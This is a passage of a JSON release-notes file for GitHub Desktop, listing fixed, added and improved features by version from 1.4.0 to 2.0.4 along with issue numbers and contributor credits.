{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], "1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - #6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when 